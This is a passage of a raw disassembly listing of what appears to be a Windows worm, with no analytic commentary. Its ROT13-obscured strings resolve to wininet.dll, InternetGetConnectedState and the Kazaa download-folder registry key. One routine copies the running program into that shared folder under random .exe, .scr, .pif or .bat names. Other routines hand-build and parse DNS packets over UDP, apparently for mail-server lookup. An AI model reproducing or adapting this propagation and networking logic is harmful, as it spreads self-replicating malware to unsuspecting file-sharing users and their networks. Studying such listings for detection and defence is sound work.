  3068. sub_4A45E3    endp
  3069.  
  3070.  
  3071. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  3072.  
  3073.  
  3074. sub_4A465E    proc near        ; CODE XREF: sub_4A3962+15p
  3075.                     ; sub_4A3AA3+17p ...
  3076.  
  3077. arg_0        = dword    ptr  8
  3078. arg_4        = dword    ptr  0Ch
  3079.  
  3080.         push    esi
  3081.         mov    esi, [esp+arg_4]
  3082.         push    edi
  3083.         mov    edi, [esp+4+arg_0]
  3084.  
  3085. loc_4A4668:                ; CODE XREF: sub_4A465E+1Bj
  3086.         mov    al, [esi]
  3087.         test    al, al
  3088.         jz    short loc_4A467B
  3089.         push    eax
  3090.         call    sub_4A45E3
  3091.         mov    [edi], al
  3092.         inc    edi
  3093.         pop    ecx
  3094.         inc    esi
  3095.         jmp    short loc_4A4668
  3096. ; ───────────────────────────────────────────────────────────────────────────
  3097.  
  3098. loc_4A467B:                ; CODE XREF: sub_4A465E+Ej
  3099.         and    byte ptr [edi],    0
  3100.         pop    edi
  3101.         pop    esi
  3102.         retn
  3103. sub_4A465E    endp
  3104.  
  3105.  
  3106. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  3107.  
  3108. ; Attributes: bp-based frame
  3109.  
  3110. sub_4A4681    proc near        ; CODE XREF: .text:004A5BB9p
  3111.                     ; sub_4A6C3B+2Fp
  3112.  
  3113. ProcName    = byte ptr -44h
  3114. var_4        = byte ptr -4
  3115.  
  3116.         push    ebp
  3117.         mov    ebp, esp
  3118.         sub    esp, 44h
  3119.         push    esi
  3120.         lea    eax, [ebp+ProcName]
  3121.         push    offset aJvavarg_qyy ; "jvavarg.qyy"
  3122.         push    eax
  3123.         call    sub_4A465E
  3124.         pop    ecx
  3125.         lea    eax, [ebp+ProcName]
  3126.         pop    ecx
  3127.         push    eax        ; lpModuleName
  3128.         call    ds:GetModuleHandleA
  3129.         mov    esi, eax
  3130.         test    esi, esi
  3131.         jz    short loc_4A46AD
  3132.         cmp    esi, 0FFFFFFFFh
  3133.         jnz    short loc_4A46C2
  3134.  
  3135. loc_4A46AD:                ; CODE XREF: sub_4A4681+25j
  3136.         lea    eax, [ebp+ProcName]
  3137.         push    eax        ; lpLibFileName
  3138.         call    ds:LoadLibraryA
  3139.         mov    esi, eax
  3140.         test    esi, esi
  3141.         jz    short loc_4A46F1
  3142.         cmp    esi, 0FFFFFFFFh
  3143.         jz    short loc_4A46F1
  3144.  
  3145. loc_4A46C2:                ; CODE XREF: sub_4A4681+2Aj
  3146.         lea    eax, [ebp+ProcName]
  3147.         push    offset aVagreargtrgpba ; "VagreargTrgPbaarpgrqFgngr"
  3148.         push    eax
  3149.         call    sub_4A465E
  3150.         pop    ecx
  3151.         lea    eax, [ebp+ProcName]
  3152.         pop    ecx
  3153.         push    eax        ; lpProcName
  3154.         push    esi        ; hModule
  3155.         call    ds:GetProcAddress
  3156.         test    eax, eax
  3157.         jz    short loc_4A46F1
  3158.         lea    ecx, [ebp+var_4]
  3159.         push    0
  3160.         push    ecx
  3161.         call    eax
  3162.         neg    eax
  3163.         sbb    eax, eax
  3164.         neg    eax
  3165.         jmp    short loc_4A46F4
  3166. ; ───────────────────────────────────────────────────────────────────────────
  3167.  
  3168. loc_4A46F1:                ; CODE XREF: sub_4A4681+3Aj
  3169.                     ; sub_4A4681+3Fj ...
  3170.         push    2
  3171.         pop    eax
  3172.  
  3173. loc_4A46F4:                ; CODE XREF: sub_4A4681+6Ej
  3174.         pop    esi
  3175.         leave
  3176.         retn
  3177. sub_4A4681    endp
  3178.  
  3179.  
  3180. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  3181.  
  3182. ; Attributes: bp-based frame
  3183.  
  3184. sub_4A46F7    proc near        ; CODE XREF: sub_4A48B6+24p
  3185.  
  3186. SubKey        = byte ptr -168h
  3187. ValueName    = byte ptr -128h
  3188. NewFileName    = byte ptr -108h
  3189. cbData        = dword    ptr -8
  3190. hKey        = dword    ptr -4
  3191. lpExistingFileName= dword ptr  8
  3192.  
  3193.         push    ebp
  3194.         mov    ebp, esp
  3195.         sub    esp, 168h
  3196.         push    ebx
  3197.         lea    eax, [ebp+SubKey]
  3198.         push    offset aFbsgjnerXnmnnG ; "Fbsgjner\\Xnmnn\\Genafsre"
  3199.         push    eax
  3200.         mov    [ebp+cbData], 100h
  3201.         call    sub_4A465E
  3202.         lea    eax, [ebp+ValueName]
  3203.         push    offset aQyqve0    ; "QyQve0"
  3204.         push    eax
  3205.         call    sub_4A465E
  3206.         push    [ebp+cbData]
  3207.         xor    ebx, ebx
  3208.         lea    eax, [ebp+NewFileName]
  3209.         push    ebx
  3210.         push    eax
  3211.         call    memset
  3212.         add    esp, 1Ch
  3213.         lea    eax, [ebp+hKey]
  3214.         push    eax        ; phkResult
  3215.         push    1        ; samDesired
  3216.         lea    eax, [ebp+SubKey]
  3217.         push    ebx        ; ulOptions
  3218.         push    eax        ; lpSubKey
  3219.         push    80000001h    ; hKey
  3220.         call    ds:RegOpenKeyExA
  3221.         test    eax, eax
  3222.         jnz    loc_4A48B3
  3223.         lea    eax, [ebp+cbData]
  3224.         push    eax        ; lpcbData
  3225.         lea    eax, [ebp+NewFileName]
  3226.         push    eax        ; lpData
  3227.         push    ebx        ; lpType
  3228.         lea    eax, [ebp+ValueName]
  3229.         push    ebx        ; lpReserved
  3230.         push    eax        ; lpValueName
  3231.         push    [ebp+hKey]    ; hKey
  3232.         call    ds:RegQueryValueExA
  3233.         test    eax, eax
  3234.         jnz    loc_4A48B3
  3235.         push    [ebp+hKey]
  3236.         call    ds:RegCloseKey
  3237.         cmp    [ebp+NewFileName], bl
  3238.         jz    loc_4A48B3
  3239.         push    esi
  3240.         mov    esi, ds:lstrlenA
  3241.         push    edi
  3242.         lea    eax, [ebp+NewFileName]
  3243.         lea    edi, [ebp+NewFileName]
  3244.         push    eax        ; lpString
  3245.         dec    edi
  3246.         call    esi ; lstrlenA
  3247.         cmp    byte ptr [eax+edi], 2Fh
  3248.         jnz    short loc_4A47C5
  3249.         lea    eax, [ebp+NewFileName]
  3250.         push    eax        ; lpString
  3251.         call    esi ; lstrlenA
  3252.         mov    byte ptr [eax+edi], 5Ch
  3253.  
  3254. loc_4A47C5:                ; CODE XREF: sub_4A46F7+BFj
  3255.         lea    eax, [ebp+NewFileName]
  3256.         push    eax        ; lpString
  3257.         call    esi ; lstrlenA
  3258.         cmp    byte ptr [eax+edi], 5Ch
  3259.         mov    edi, ds:lstrcatA
  3260.         jz    short loc_4A47E8
  3261.         lea    eax, [ebp+NewFileName]
  3262.         push    offset String2    ; lpString2
  3263.         push    eax        ; lpString1
  3264.         call    edi ; lstrcatA
  3265.  
  3266. loc_4A47E8:                ; CODE XREF: sub_4A46F7+E1j
  3267.         call    sub_4A4221
  3268.         movzx    eax, ax
  3269.         push    7
  3270.         cdq
  3271.         pop    ecx
  3272.         idiv    ecx
  3273.         lea    eax, [ebp+NewFileName]
  3274.         push    ds:dword_4A1190[edx*4]
  3275.         push    eax        ; lpString
  3276.         call    esi ; lstrlenA
  3277.         lea    eax, [ebp+eax+NewFileName]
  3278.         push    eax
  3279.         call    sub_4A465E
  3280.         pop    ecx
  3281.         lea    eax, [ebp+NewFileName]
  3282.         pop    ecx
  3283.         push    offset a__1    ; lpString2
  3284.         push    eax        ; lpString1
  3285.         call    edi ; lstrcatA
  3286.         call    sub_4A4221
  3287.         movzx    eax, ax
  3288.         push    6
  3289.         cdq
  3290.         pop    ecx
  3291.         idiv    ecx
  3292.         cmp    edx, ebx
  3293.         jl    short loc_4A4883
  3294.         cmp    edx, 1
  3295.         jle    short loc_4A486E
  3296.         cmp    edx, 3
  3297.         jle    short loc_4A4859
  3298.         cmp    edx, 4
  3299.         jnz    short loc_4A4883
  3300.         lea    eax, [ebp+NewFileName]
  3301.         push    offset aPi    ; lpString2
  3302.         push    eax        ; lpString1
  3303.         call    edi ; lstrcatA
  3304.         push    offset aF    ; "f"
  3305.         jmp    short loc_4A4896
  3306. ; ───────────────────────────────────────────────────────────────────────────
  3307.  
  3308. loc_4A4859:                ; CODE XREF: sub_4A46F7+146j
  3309.         lea    eax, [ebp+NewFileName]
  3310.         push    offset aSc    ; lpString2
  3311.         push    eax        ; lpString1
  3312.         call    edi ; lstrcatA
  3313.         push    offset aR    ; "r"
  3314.         jmp    short loc_4A4896
  3315. ; ───────────────────────────────────────────────────────────────────────────
  3316.  
  3317. loc_4A486E:                ; CODE XREF: sub_4A46F7+141j
  3318.         lea    eax, [ebp+NewFileName]
  3319.         push    offset aEx    ; lpString2
  3320.         push    eax        ; lpString1
  3321.         call    edi ; lstrcatA
  3322.         push    offset aE    ; "e"
  3323.         jmp    short loc_4A4896
  3324. ; ───────────────────────────────────────────────────────────────────────────
  3325.  
  3326. loc_4A4883:                ; CODE XREF: sub_4A46F7+13Cj
  3327.                     ; sub_4A46F7+14Bj
  3328.         lea    eax, [ebp+NewFileName]
  3329.         push    offset aBa    ; lpString2
  3330.         push    eax        ; lpString1
  3331.         call    edi ; lstrcatA
  3332.         push    offset aT    ; lpString2
  3333.  
  3334. loc_4A4896:                ; CODE XREF: sub_4A46F7+160j
  3335.                     ; sub_4A46F7+175j ...
  3336.         lea    eax, [ebp+NewFileName]
  3337.         push    eax        ; lpString1
  3338.         call    edi ; lstrcatA
  3339.         lea    eax, [ebp+NewFileName]
  3340.         push    1        ; bFailIfExists
  3341.         push    eax        ; lpNewFileName
  3342.         push    [ebp+lpExistingFileName] ; lpExistingFileName
  3343.         call    ds:CopyFileA
  3344.         pop    edi
  3345.         pop    esi
  3346.  
  3347. loc_4A48B3:                ; CODE XREF: sub_4A46F7+63j
  3348.                     ; sub_4A46F7+88j ...
  3349.         pop    ebx
  3350.         leave
  3351.         retn
  3352. sub_4A46F7    endp
  3353.  
  3354.  
  3355. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  3356.  
  3357. ; Attributes: bp-based frame
  3358.  
  3359. sub_4A48B6    proc near        ; CODE XREF: main+6Bp
  3360.  
  3361. Filename    = byte ptr -104h
  3362.  
  3363.         push    ebp
  3364.         mov    ebp, esp
  3365.         sub    esp, 104h
  3366.         lea    eax, [ebp+Filename]
  3367.         push    104h        ; nSize
  3368.         push    eax        ; lpFilename
  3369.         push    0        ; hModule
  3370.         call    ds:GetModuleFileNameA
  3371.         lea    eax, [ebp+Filename]
  3372.         push    eax
  3373.         call    sub_4A46F7
  3374.         pop    ecx
  3375.         leave
  3376.         retn
  3377. sub_4A48B6    endp
  3378.  
  3379.  
  3380. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  3381.  
  3382. ; Attributes: bp-based frame
  3383.  
  3384. sub_4A48E2    proc near        ; CODE XREF: sub_4A4C45+8Fp
  3385.  
  3386. var_400        = word ptr -400h
  3387. var_3FE        = word ptr -3FEh
  3388. var_3FC        = word ptr -3FCh
  3389. var_3FA        = word ptr -3FAh
  3390. var_3F8        = word ptr -3F8h
  3391. var_3F6        = word ptr -3F6h
  3392. var_3F4        = byte ptr -3F4h
  3393. arg_0        = dword    ptr  8
  3394. arg_4        = dword    ptr  0Ch
  3395. arg_8        = dword    ptr  10h
  3396. arg_C        = word ptr  14h
  3397.  
  3398.         push    ebp
  3399.         mov    ebp, esp
  3400.         sub    esp, 400h
  3401.         push    ebx
  3402.         push    esi
  3403.         push    edi
  3404.         mov    edi, [ebp+arg_8]
  3405.         xor    ebx, ebx
  3406.         push    400h
  3407.         lea    eax, [ebp+var_400]
  3408.         push    ebx
  3409.         push    eax
  3410.         call    memset
  3411.         add    esp, 0Ch
  3412.         call    ds:GetTickCount
  3413.         mov    [ebp+var_400], ax
  3414.         mov    ax, [ebp+arg_C]
  3415.         push    1
  3416.         mov    [ebp+var_3FE], ax
  3417.         call    ds:WS2_32_9
  3418.         xor    edx, edx
  3419.         mov    [ebp+var_3FC], ax
  3420.         cmp    [edi], dl
  3421.         mov    [ebp+var_3FA], bx
  3422.         mov    [ebp+var_3F8], bx
  3423.         mov    [ebp+var_3F6], bx
  3424.         jz    short loc_4A49A0
  3425.  
  3426. loc_4A494A:                ; CODE XREF: sub_4A48E2+BAj
  3427.         lea    esi, [ebx+edi]
  3428.         mov    eax, ebx
  3429.         mov    cl, [esi]
  3430.         jmp    short loc_4A495C
  3431. ; ───────────────────────────────────────────────────────────────────────────
  3432.  
  3433. loc_4A4953:                ; CODE XREF: sub_4A48E2+7Cj
  3434.         cmp    cl, 2Eh
  3435.         jz    short loc_4A4960
  3436.         inc    eax
  3437.         mov    cl, [eax+edi]
  3438.  
  3439. loc_4A495C:                ; CODE XREF: sub_4A48E2+6Fj
  3440.         test    cl, cl
  3441.         jnz    short loc_4A4953
  3442.  
  3443. loc_4A4960:                ; CODE XREF: sub_4A48E2+74j
  3444.         mov    cl, al
  3445.         sub    cl, bl
  3446.         mov    [ebp+edx+var_3F4], cl
  3447.         inc    edx
  3448.         cmp    ebx, eax
  3449.         jge    short loc_4A498E
  3450.         sub    eax, ebx
  3451.         lea    edi, [ebp+edx+var_3F4]
  3452.         mov    ecx, eax
  3453.         add    ebx, eax
  3454.         mov    dword ptr [ebp+arg_C], ecx
  3455.         shr    ecx, 2
  3456.         repe movsd
  3457.         mov    ecx, eax
  3458.         and    ecx, 3
  3459.         add    edx, eax
  3460.         repe movsb
  3461.  
  3462. loc_4A498E:                ; CODE XREF: sub_4A48E2+8Cj
  3463.         mov    edi, [ebp+arg_8]
  3464.         cmp    byte ptr [ebx+edi], 2Eh
  3465.         jnz    short loc_4A4998
  3466.         inc    ebx
  3467.  
  3468. loc_4A4998:                ; CODE XREF: sub_4A48E2+B3j
  3469.         cmp    byte ptr [ebx+edi], 0
  3470.         jnz    short loc_4A494A
  3471.         xor    ebx, ebx
  3472.  
  3473. loc_4A49A0:                ; CODE XREF: sub_4A48E2+66j
  3474.         mov    edi, ds:WS2_32_9
  3475.         and    [ebp+edx+var_3F4], 0
  3476.         push    0Fh
  3477.         lea    esi, [edx+0Dh]
  3478.         call    edi ; WS2_32_9
  3479.         mov    [ebp+esi+var_400], ax
  3480.         inc    esi
  3481.         push    1
  3482.         inc    esi
  3483.         call    edi ; WS2_32_9
  3484.         push    10h
  3485.         mov    [ebp+esi+var_400], ax
  3486.         push    [ebp+arg_4]
  3487.         add    esi, 2
  3488.         lea    eax, [ebp+var_400]
  3489.         push    ebx
  3490.         push    esi
  3491.         push    eax
  3492.         push    [ebp+arg_0]
  3493.         call    ds:WS2_32_20
  3494.         xor    ecx, ecx
  3495.         pop    edi
  3496.         test    eax, eax
  3497.         setle    cl
  3498.         pop    esi
  3499.         mov    eax, ecx
  3500.         pop    ebx
  3501.         leave
  3502.         retn
  3503. sub_4A48E2    endp
  3504.  
  3505.  
  3506. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  3507.  
  3508. ; Attributes: bp-based frame
  3509.  
  3510. sub_4A49F3    proc near        ; CODE XREF: sub_4A4AFE+2Cp
  3511.  
  3512. var_4        = dword    ptr -4
  3513. arg_0        = dword    ptr  8
  3514. arg_4        = dword    ptr  0Ch
  3515.  
  3516.         push    ebp
  3517.         mov    ebp, esp
  3518.         push    ecx
  3519.         and    [ebp+var_4], 0
  3520.         push    esi
  3521.         mov    esi, eax
  3522.         mov    ax, [ebx+4]
  3523.         push    edi
  3524.         mov    edi, ds:WS2_32_15
  3525.         push    eax
  3526.         call    edi ; WS2_32_15
  3527.         test    ax, ax
  3528.         jbe    short loc_4A4A46
  3529.  
  3530. loc_4A4A11:                ; CODE XREF: sub_4A49F3+51j
  3531.         cmp    esi, [ebp+arg_4]
  3532.         jge    short loc_4A4A46
  3533.         mov    eax, [ebp+arg_0]
  3534.         movzx    eax, byte ptr [eax+esi]
  3535.         test    eax, eax
  3536.         jnz    short loc_4A4A26
  3537.         add    esi, 5
  3538.         jmp    short loc_4A4A34
  3539. ; ───────────────────────────────────────────────────────────────────────────
  3540.  
  3541. loc_4A4A26:                ; CODE XREF: sub_4A49F3+2Cj
  3542.         cmp    eax, 40h
  3543.         jge    short loc_4A4A31
  3544.         lea    esi, [esi+eax+1]
  3545.         jmp    short loc_4A4A37
  3546. ; ───────────────────────────────────────────────────────────────────────────
  3547.  
  3548. loc_4A4A31:                ; CODE XREF: sub_4A49F3+36j
  3549.         add    esi, 6
  3550.  
  3551. loc_4A4A34:                ; CODE XREF: sub_4A49F3+31j
  3552.         inc    [ebp+var_4]
  3553.  
  3554. loc_4A4A37:                ; CODE XREF: sub_4A49F3+3Cj
  3555.         mov    ax, [ebx+4]
  3556.         push    eax
  3557.         call    edi ; WS2_32_15
  3558.         movzx    eax, ax
  3559.         cmp    [ebp+var_4], eax
  3560.         jl    short loc_4A4A11
  3561.  
  3562. loc_4A4A46:                ; CODE XREF: sub_4A49F3+1Cj
  3563.                     ; sub_4A49F3+21j
  3564.         mov    eax, esi
  3565.         pop    edi
  3566.         pop    esi
  3567.         leave
  3568.         retn
  3569. sub_4A49F3    endp
  3570.  
  3571.  
  3572. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  3573.  
  3574. ; Attributes: bp-based frame
  3575.  
  3576. sub_4A4A4C    proc near        ; CODE XREF: sub_4A4AFE+8Dp
  3577.                     ; sub_4A4C45+1D9p
  3578.  
  3579. var_8        = dword    ptr -8
  3580. var_4        = dword    ptr -4
  3581. arg_0        = dword    ptr  8
  3582.  
  3583.         push    ebp
  3584.         mov    ebp, esp
  3585.         push    ecx
  3586.         push    ecx
  3587.         and    [ebp+var_8], 0
  3588.         and    byte ptr [edi],    0
  3589.         and    [ebp+var_4], 0
  3590.         push    esi
  3591.         xor    esi, esi
  3592.         cmp    eax, [ebp+arg_0]
  3593.         jge    short loc_4A4ACF
  3594.  
  3595. loc_4A4A64:                ; CODE XREF: sub_4A4A4C+70j
  3596.         cmp    esi, 0FFh
  3597.         jge    short loc_4A4ACB
  3598.         lea    ecx, [ebx+eax]
  3599.         movzx    edx, byte ptr [ecx]
  3600.         test    edx, edx
  3601.         jz    short loc_4A4AC0
  3602.         cmp    edx, 40h
  3603.         jge    short loc_4A4A92
  3604.         inc    eax
  3605.         test    edx, edx
  3606.         jle    short loc_4A4A8B
  3607.  
  3608. loc_4A4A80:                ; CODE XREF: sub_4A4A4C+3Dj
  3609.         mov    cl, [ebx+eax]
  3610.         mov    [esi+edi], cl
  3611.         inc    esi
  3612.         inc    eax
  3613.         dec    edx
  3614.         jnz    short loc_4A4A80
  3615.  
  3616. loc_4A4A8B:                ; CODE XREF: sub_4A4A4C+32j
  3617.         mov    byte ptr [esi+edi], 2Eh
  3618.         inc    esi
  3619.         jmp    short loc_4A4AB9
  3620. ; ───────────────────────────────────────────────────────────────────────────
  3621.  
  3622. loc_4A4A92:                ; CODE XREF: sub_4A4A4C+2Dj
  3623.         cmp    [ebp+var_4], 0
  3624.         jnz    short loc_4A4A9E
  3625.         add    eax, 2
  3626.         mov    [ebp+var_8], eax
  3627.  
  3628. loc_4A4A9E:                ; CODE XREF: sub_4A4A4C+4Aj
  3629.         mov    ax, [ecx]
  3630.         mov    [ebp+var_4], 1
  3631.         push    eax
  3632.         call    ds:WS2_32_15
  3633.         and    eax, 3FFFh
  3634.         cmp    eax, [ebp+arg_0]
  3635.         jge    short loc_4A4ACB
  3636.  
  3637. loc_4A4AB9:                ; CODE XREF: sub_4A4A4C+44j
  3638.         cmp    eax, [ebp+arg_0]
  3639.         jl    short loc_4A4A64
  3640.         jmp    short loc_4A4ACB
  3641. ; ───────────────────────────────────────────────────────────────────────────
  3642.  
  3643. loc_4A4AC0:                ; CODE XREF: sub_4A4A4C+28j
  3644.         inc    eax
  3645.         jmp    short loc_4A4ACB
  3646. ; ───────────────────────────────────────────────────────────────────────────
  3647.  
  3648. loc_4A4AC3:                ; CODE XREF: sub_4A4A4C+81j
  3649.         cmp    byte ptr [edi+esi-1], 2Eh
  3650.         jnz    short loc_4A4ACF
  3651.         dec    esi
  3652.  
  3653. loc_4A4ACB:                ; CODE XREF: sub_4A4A4C+1Ej
  3654.                     ; sub_4A4A4C+6Bj ...
  3655.         test    esi, esi
  3656.         jg    short loc_4A4AC3
  3657.  
  3658. loc_4A4ACF:                ; CODE XREF: sub_4A4A4C+16j
  3659.                     ; sub_4A4A4C+7Cj
  3660.         and    byte ptr [esi+edi], 0
  3661.         cmp    [ebp+var_4], 0
  3662.         pop    esi
  3663.         jz    short locret_4A4ADD
  3664.         mov    eax, [ebp+var_8]
  3665.  
  3666. locret_4A4ADD:                ; CODE XREF: sub_4A4A4C+8Cj
  3667.         leave
  3668.         retn
  3669. sub_4A4A4C    endp
  3670.  
  3671.  
  3672. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  3673.  
  3674.  
  3675. ; int __fastcall sub_4A4ADF(LPVOID lpMem)
  3676. sub_4A4ADF    proc near        ; CODE XREF: sub_4A4C45+221p
  3677.         test    eax, eax
  3678.         jz    short locret_4A4AFD
  3679.         push    esi
  3680.  
  3681. loc_4A4AE4:                ; CODE XREF: sub_4A4ADF+1Bj
  3682.         mov    esi, [eax]
  3683.         push    eax        ; lpMem
  3684.         push    0        ; dwFlags
  3685.         call    ds:GetProcessHeap
  3686.         push    eax        ; hHeap
  3687.         call    ds:HeapFree
  3688.         test    esi, esi
  3689.         mov    eax, esi
  3690.         jnz    short loc_4A4AE4
  3691.         pop    esi
  3692.  
  3693. locret_4A4AFD:                ; CODE XREF: sub_4A4ADF+2j
  3694.         retn
  3695. sub_4A4ADF    endp
  3696.  
  3697.  
  3698. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  3699.  
  3700. ; Attributes: bp-based frame
  3701.  
  3702. sub_4A4AFE    proc near        ; CODE XREF: sub_4A4C45+13Bp
  3703.  
  3704. var_128        = byte ptr -128h
  3705. var_124        = byte ptr -124h
  3706. var_20        = word ptr -20h
  3707. var_1E        = word ptr -1Eh
  3708. var_1C        = word ptr -1Ch
  3709. var_18        = dword    ptr -18h
  3710. var_14        = dword    ptr -14h
  3711. var_10        = dword    ptr -10h
  3712. var_C        = dword    ptr -0Ch
  3713. var_8        = dword    ptr -8
  3714. var_4        = dword    ptr -4
  3715. arg_0        = dword    ptr  8
  3716. arg_4        = dword    ptr  0Ch
  3717.  
  3718.         push    ebp
  3719.         mov    ebp, esp
  3720.         sub    esp, 128h
  3721.         push    edi
  3722.         push    0Ch
  3723.         pop    eax
  3724.         xor    edi, edi
  3725.         cmp    [ebp+arg_4], eax
  3726.         mov    [ebp+var_4], edi
  3727.         mov    [ebp+var_C], edi
  3728.         jge    short loc_4A4B1F
  3729.         xor    eax, eax
  3730.         jmp    loc_4A4C42
  3731. ; ───────────────────────────────────────────────────────────────────────────
  3732.  
  3733. loc_4A4B1F:                ; CODE XREF: sub_4A4AFE+18j
  3734.         push    ebx
  3735.         push    esi
  3736.         push    [ebp+arg_4]
  3737.         mov    esi, [ebp+arg_0]
  3738.         mov    ebx, esi
  3739.         push    esi
  3740.         call    sub_4A49F3
  3741.         mov    ebx, eax
  3742.         pop    ecx
  3743.         cmp    ebx, [ebp+arg_4]
  3744.         pop    ecx
  3745.         jl    short loc_4A4B3F
  3746.         xor    eax, eax
  3747.         jmp    loc_4A4C40
  3748. ; ───────────────────────────────────────────────────────────────────────────
  3749.  
  3750. loc_4A4B3F:                ; CODE XREF: sub_4A4AFE+38j
  3751.         movzx    eax, word ptr [esi+0Ah]
  3752.         movzx    ecx, word ptr [esi+8]
  3753.         add    eax, ecx
  3754.         mov    [ebp+var_8], edi
  3755.         movzx    ecx, word ptr [esi+6]
  3756.         add    eax, ecx
  3757.         cmp    eax, edi
  3758.         mov    [ebp+var_10], eax
  3759.         jle    loc_4A4C3D
  3760.         jmp    short loc_4A4B62
  3761. ; ───────────────────────────────────────────────────────────────────────────
  3762.  
  3763. loc_4A4B5F:                ; CODE XREF: sub_4A4AFE+139j
  3764.         mov    esi, [ebp+arg_0]
  3765.  
  3766. loc_4A4B62:                ; CODE XREF: sub_4A4AFE+5Fj
  3767.         cmp    ebx, [ebp+arg_4]
  3768.         jge    loc_4A4C3D
  3769.         push    114h
  3770.         lea    eax, [ebp+var_128]
  3771.         push    0
  3772.         push    eax
  3773.         call    memset
  3774.         push    [ebp+arg_4]
  3775.         mov    eax, ebx
  3776.         lea    edi, [ebp+var_124]
  3777.         mov    ebx, esi
  3778.         call    sub_4A4A4C
  3779.         mov    ebx, eax
  3780.         add    esp, 10h
  3781.         lea    eax, [ebx+0Ah]
  3782.         cmp    eax, [ebp+arg_4]
  3783.         jge    loc_4A4C3D
  3784.         mov    ax, [ebx+esi]
  3785.         mov    edi, ds:WS2_32_15
  3786.         push    eax
  3787.         call    edi ; WS2_32_15
  3788.         inc    ebx
  3789.         mov    [ebp+var_20], ax
  3790.         inc    ebx
  3791.         mov    ax, [ebx+esi]
  3792.         push    eax
  3793.         call    edi ; WS2_32_15
  3794.         add    ebx, 6
  3795.         mov    [ebp+var_1E], ax
  3796.         mov    ax, [ebx+esi]
  3797.         push    eax
  3798.         call    edi ; WS2_32_15
  3799.         mov    [ebp+var_1C], ax
  3800.         inc    ebx
  3801.         movzx    eax, ax
  3802.         inc    ebx
  3803.         add    eax, ebx
  3804.         mov    [ebp+var_18], ebx
  3805.         cmp    eax, [ebp+arg_4]
  3806.         jg    short loc_4A4C3D
  3807.         mov    esi, 124h
  3808.         push    esi        ; dwBytes
  3809.         push    0        ; dwFlags
  3810.         call    ds:GetProcessHeap
  3811.         push    eax        ; hHeap
  3812.         call    ds:HeapAlloc
  3813.         mov    edi, eax
  3814.         test    edi, edi
  3815.         mov    [ebp+var_14], edi
  3816.         jz    short loc_4A4C3D
  3817.         push    esi
  3818.         push    0
  3819.         push    edi
  3820.         call    memset
  3821.         add    esp, 0Ch
  3822.         lea    esi, [ebp+var_128]
  3823.         push    45h
  3824.         pop    ecx
  3825.         repe movsd
  3826.         movzx    eax, [ebp+var_1C]
  3827.         mov    ecx, [ebp+var_4]
  3828.         add    ebx, eax
  3829.         mov    eax, [ebp+var_14]
  3830.         mov    [ebp+var_4], eax
  3831.         and    dword ptr [eax], 0
  3832.         test    ecx, ecx
  3833.         jnz    short loc_4A4C2C
  3834.         mov    [ebp+var_C], eax
  3835.         jmp    short loc_4A4C2E
  3836. ; ───────────────────────────────────────────────────────────────────────────
  3837.  
  3838. loc_4A4C2C:                ; CODE XREF: sub_4A4AFE+127j
  3839.         mov    [ecx], eax
  3840.  
  3841. loc_4A4C2E:                ; CODE XREF: sub_4A4AFE+12Cj
  3842.         inc    [ebp+var_8]
  3843.         mov    eax, [ebp+var_8]
  3844.         cmp    eax, [ebp+var_10]
  3845.         jl    loc_4A4B5F
  3846.  
  3847. loc_4A4C3D:                ; CODE XREF: sub_4A4AFE+59j
  3848.                     ; sub_4A4AFE+67j ...
  3849.         mov    eax, [ebp+var_C]
  3850.  
  3851. loc_4A4C40:                ; CODE XREF: sub_4A4AFE+3Cj
  3852.         pop    esi
  3853.         pop    ebx
  3854.  
  3855. loc_4A4C42:                ; CODE XREF: sub_4A4AFE+1Cj
  3856.         pop    edi
  3857.         leave
  3858.         retn
  3859. sub_4A4AFE    endp
  3860.  
  3861.  
  3862. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  3863.  
  3864.  
  3865. sub_4A4C45    proc near        ; CODE XREF: sub_4A4EC8+11p
  3866.  
  3867. var_168        = dword    ptr -168h
  3868. var_164        = dword    ptr -164h
  3869. var_160        = dword    ptr -160h
  3870. var_15C        = dword    ptr -15Ch
  3871. lpMem        = dword    ptr -158h
  3872. var_154        = dword    ptr -154h
  3873. var_150        = dword    ptr -150h
  3874. var_14C        = dword    ptr -14Ch
  3875. var_144        = dword    ptr -144h
  3876. var_130        = dword    ptr -130h
  3877. var_12C        = dword    ptr -12Ch
  3878. var_120        = dword    ptr -120h
  3879. var_11C        = dword    ptr -11Ch
  3880. var_118        = dword    ptr -118h
  3881. Mem        = dword    ptr -114h
  3882. var_110        = dword    ptr -110h
  3883. var_2C        = dword    ptr -2Ch
  3884. var_C        = dword    ptr -0Ch
  3885. var_8        = dword    ptr -8
  3886. arg_8        = dword    ptr  0Ch
  3887.  
  3888.         mov    eax, [esp+arg_8] ; lpMem
  3889.         sub    esp, 128h
  3890.         push    ebx
  3891.         push    ebp
  3892.         push    esi
  3893.         mov    esi, ds:GetProcessHeap
  3894.         xor    ebp, ebp
  3895.         push    1000h        ; dwBytes
  3896.         push    ebp        ; dwFlags
  3897.         mov    dword ptr [eax], 1
  3898.         call    esi ; GetProcessHeap
  3899.         push    eax        ; hHeap
  3900.         call    ds:HeapAlloc
  3901.         mov    ebx, eax
  3902.         cmp    ebx, ebp
  3903.         jnz    short loc_4A4C7C
  3904.         xor    eax, eax    ; lpMem
  3905.         jmp    loc_4A4EBE
  3906. ; ───────────────────────────────────────────────────────────────────────────
  3907.  
  3908. loc_4A4C7C:                ; CODE XREF: sub_4A4C45+2Ej
  3909.         push    edi
  3910.         push    11h
  3911.         push    2
  3912.         push    2
  3913.         call    ds:WS2_32_23
  3914.         mov    edi, eax
  3915.         cmp    edi, ebp
  3916.         mov    [esp+144h+var_120], edi
  3917.         jz    loc_4A4EB0
  3918.         cmp    edi, 0FFFFFFFFh
  3919.         jz    loc_4A4EB0
  3920.         mov    [esp+144h+var_130], ebp
  3921.         jmp    short loc_4A4CAC
  3922. ; ───────────────────────────────────────────────────────────────────────────
  3923.  
  3924. loc_4A4CA6:                ; CODE XREF: sub_4A4C45+236j
  3925.         mov    edi, [esp+144h+var_120]
  3926.         xor    ebp, ebp
  3927.  
  3928. loc_4A4CAC:                ; CODE XREF: sub_4A4C45+5Fj
